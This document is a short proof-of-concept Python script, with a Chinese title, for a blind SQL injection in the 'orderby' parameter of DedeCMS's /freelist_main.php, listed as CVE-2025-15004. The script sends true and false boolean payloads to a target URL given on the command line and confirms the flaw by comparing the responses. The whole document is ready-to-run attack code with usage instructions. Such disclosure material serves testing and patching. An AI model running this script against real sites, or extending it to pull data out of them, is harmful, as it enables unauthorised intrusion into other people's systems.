CVE-2025-15004 DedeCMS /freelist_main.php orderby参数SQL注入漏洞

import requests import sys # CVE-2025-15004 DedeCMS SQL Injection PoC # Target: DedeCMS <= 5.7.118 # Endpoint: /freelist_main.php # Parameter: orderby def exploit(target_url, orderby_payload): """Exploit SQL injection in DedeCMS freelist_main.php""" target = target_url.rstrip('/') + '/freelist_main.php' params = { 'orderby': orderby_payload } try: response = requests.get(target, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sqli(target_url): """Boolean-based blind SQL injection test""" # True condition - should return results true_payload = "1=1" # False condition - should not return results false_payload = "1=2" print("[*] Testing true condition...") true_result = exploit(target_url, true_payload) print("[*] Testing false condition...") false_result = exploit(target_url, false_payload) if true_result != false_result: print("[+] SQL Injection vulnerability confirmed!") return True else: print("[-] SQL Injection not detected") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/dede") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-15004...") blind_sqli(target)